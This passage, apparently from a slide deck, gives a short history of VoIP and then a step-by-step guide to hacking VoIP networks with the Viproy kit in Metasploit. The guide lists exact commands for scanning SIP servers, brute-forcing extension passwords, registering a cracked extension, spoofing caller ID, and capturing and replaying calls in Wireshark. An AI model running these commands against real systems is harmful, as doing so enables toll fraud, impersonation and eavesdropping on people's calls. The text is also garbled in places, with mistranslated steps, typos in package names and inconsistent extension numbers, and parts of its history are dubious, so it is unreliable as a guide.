year later, the first successful real-time conversation was had over
ARPANET. In 1977, UDP was added to carry real-time traffic three years
after this.
The 1990s
In 1991, the first VoIP application released was Speak Freely. A year later,
soft-launched a desktop conferencing product, Communique. Communique
notably included options for video conferences. InSoft is often credited for
creating the first generation of commercial VoIP services in the United
States.
In 1994, the FCC required VoIP providers to comply with the
Communications Assistance for Law Enforcement Act of 1994. In addition,
VoIP providers had to now contribute to the Universal Service Fund.
In 1995, Intel, Microsoft and Radvision began to standardize VoIP systems.
One year later, the ITU-T developed standards for transmission and
signalling voice over IP networks, creating the H.323 standard. The G.729
standard is also introduced. SIP was standardized in 1999.
The 2000s
12. 12
In 2005, the FCC began imposing VoIP providers to provide 911
emergency call abilities. This began opening up the ability for VoIP to make
and receive calls from traditional telephone networks. Emergency calls do
work differently with VoIP, however. For example, a provider with the proper
hardware infrastructure can find the approximate location of the calling
device -- by using the IP address allocated to the network router.
Another codec, the G.729.1 protocol, was unveiled in 2006. A year after
this, VoIP device manufacturers began to expand in Asia. The SILK codec
was introduced in 2009, notable for being used for voice calling on Skype.
In 2010, Apple introduced the LD-MDCT-based AAC-LD codec, which is
notable for being used in FaceTime.
How to Hack VoIP Networks?
Step 1: SETTING UP THE VIPROY VOIP KIT
Before starting the pentesting process, we need to add the Viproy-VoIP kit to our
Metasploit. We need to install some dependencies. We will first update our fonts and then
install the following dependencies:
- sudo apt update && Sudo apt install -y git Autoconf build-essential libcap-dev
libpq-dev zliblg-dev libsqlite3-dev
Once all dependencies have been installed, it’s time to clone the Viproy Repository on the
Kali Linux system. This contains the modules that we need to add to our Metasploit.
- git clone https://github.com/fozavci/viproy-VoIPkit.git
13. 13
Here we see that we have a lib directory, a module directory, and a kaliinstall script. Before
running the script, pentesting experts recommend manually copying the contents of the
lib directory and module directory to the lib directory and Metasploit modules,
respectively.
- cp lib/MSF/core/auxiliary/* /usr/share/Metasploit-framework/lib/MSF/core/auxiliary/
- cp modules/auxiliary/VoIP/viproy-VoIPkit*
/usr/share/Metasploit-framework/modules/auxiliary/VoIP/
- cp modules/auxiliary/spoof/cisco/viproy-VoIPkit_cdp.RB
/usr/share/Metasploit-framework/modules/auxiliary/spoof/cisco/
Now we need to register the modules we copy to the Mixins files located in
/usr/share/Metasploit-framework/lib/MSF/core/Additional/.
- echo "require 'msf/core/auxiliary/sip'" >>
/usr/share/Metasploit-framework/lib/MSF/core/auxiliary/mixins.RB
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- echo "require 'msf/core/auxiliary/skinny'" >>
/usr/share/Metasploit-framework/lib/MSF/core/auxiliary/mixins.RB
- echo "require 'msf/core/auxiliary/msrp'" >>
/usr/share/Metasploit-framework/lib/MSF/core/auxiliary/mixins.RB
This can be done manually or with another text editor mentioned by pentesting experts.
Next, we clone the precompiled version of GitHub.
- git clone https://github.com/fozavci/metasploit-framework-with-viproy.git
Then we’ll go to the directory and install viproy using gem.
- cd Metasploit-framework-with-viproy/
- gem install bundler
- bundle install
15. 15
It’ll take a little time. After that, we’ll have to reload the modules into Metasploit.
This completes the installation of the Viproy Toolkit, so now you can start with pentesting
on your target VoIP server. In a VoIP network, useful information can be found on VoIP
gateways or servers, IP-PBX systems, VoIP client/phone software, and user extensions.
Let’s take a look at some of the most commonly used fingerprinting and counting tools.
Step 2: SIP SERVER RECOGNITION
Using the Metasploit SIP scanner module to identify systems by providing a single IP or a range
of IP addresses, pentesting experts can scan all VoIP servers and their enabled parameters.
- use auxiliary/scanner/sip/options
- set rhosts 192.168.1.0/24
- run
Here, the scan throws a VoIP server running on 192.168.1.7. We can also see that it has a
User-Agent like "Asterisk", and we can see that it has multiple requests enabled.
Step 3: BRUTE FORCE ATTACK
16. 16
It is then possible to use a brute force attack on the target server to extract your passwords. In
this example, pentesting experts created a username and password dictionary. The next step is
to define the extensions, for which it is possible to select a range from 0000000 to 99999999 and
finally launch the exploit.
- use auxiliary/VoIP/viproy_sip_bruteforce
- set rhosts 192.168.1.7
- set minext 00000000
- set maxext 99999999
- set user_file /home/kali/user.txt
- set pass_file /home/kali/pass.txt
- exploit
Here we can see that ten extensions have been extracted. We will need to ensure that the secret
created for this extension is difficult to guess and thus prevent brute force attacks.
Step 4: ADDITIONAL WORK
17. 17
Now it's time to go one step further and record the extensions so we can initiate calls from the
attacker's computer. We chose extension 99999999. We discovered the secret of 999. Now, all
we had to do was provide the server's IP address, extension and mystery.
As soon as we started the support device, we received a 200 OK response from the server,
which said the extension was registered with this IP address.
- use auxiliary/VoIP/viproy_sip_register
- set rhosts 192.168.1.7
- set username 99999999
- set password 999
- run
Here we need to register the software as we do not have a trunk line, PSTN line or PRI line for
outgoing calls. Therefore, we are testing the extension to invoke it.
Step 5: CALL SPOOFING
Here we can forge the caller ID at will. According to the pentesting experts, we need to set the
login to true so we can log in to the server with secret 999. We also need to set the numeric user
to true so that it can accept numeric extensions.
- use auxiliary/VoIP/viproy_sip_invite
- set rhosts 192.168.1.7
18. 18
- set to 00000000
- set from 99999999
- set login true
- set fromname hacker
- set username 99999999
- set password 999
- set numeric users true
- run
As soon as we launch the auxiliary device, we will see that there is a call from extension
999999999 to extension 00000000, which we configure in our Zoiper client. We can also see that
we have the hacker’s caller ID that we have identified on the assistive device.
Step 6: RECORD MONITORING
19. 19
We can monitor logs on the VoIP server, which contains information about all initiated,
connected, and disconnected calls. According to the pentesting experts, you can check the
default credentials. First, we will connect the server using ssh and then run the following
command to open the Asterisk console panel.
- ssh 192.168.1.7
- asterisk –rvvvvvvvvvvvvvvv
Step 7: TRACK CALLS WITH WIRESHARK
When users initiate a phone call, hackers or researchers could monitor intercepted SIP traffic
using Wireshark. To do this, start Wireshark and select the network adapter on which the VoIP
server is running, and then we begin capturing packets. If you pay more attention, you will see a
tab in the Wireshark menu called "Telephony". The drop-down menu has the first option, VoIP
Calls.
20. 20
As soon as we click on VoIP calls, a window will open with all intercepted calls while listening.
We see a sequence of packets from one IP address to another.
21. 21
If we click the "Flow Sequence" button below, we can see the SIP handshakes we learned in the
introduction. There are multiple SIP transactions in the SIP call flow. A SIP transaction consists
of multiple requests and responses. To group them into a transaction, use the parameter CSeq:
103.
The first is to register the extension. After renewal, the log matches the session settings. Since
extension 99999999, the session consists of an INVITE request from the user to 00000000.
Immediately, the proxy sends TRYING 100 to stop transmission and redirect the request to
extension 00000000.
Extension 00000000 sends a 180 ring when the phone starts ringing and also redirects the proxy
to user A. Finally, an OK 200 message follows the receiving process (extension 000000000
answers the call). After calling the call server, try assigning the RTP ports, and the RTP transport
will start with the SDP configuration (ports, addresses, codecs, etc.). The last transaction
corresponds to the end of the session. This is only done with a BYE request to the proxy and
then redirected to extension 00000000.
22. 22
The given user responds with an OK 200 message to confirm that the last message was
received successfully. The call was initiated by a user named hacker with extension 99999999 to
extension 00000000. The duration of the ring and the current state can be seen in the previous
example. Wireshark collected call packets, and now we can hear the whole call. After
disconnecting, we reproduce all the conversions of the phone call.
When we press the "Play Sequences" button, the output device is requested according to your
laptop driver. Then we can click the Play button and listen to the conversation during this VoIP
call.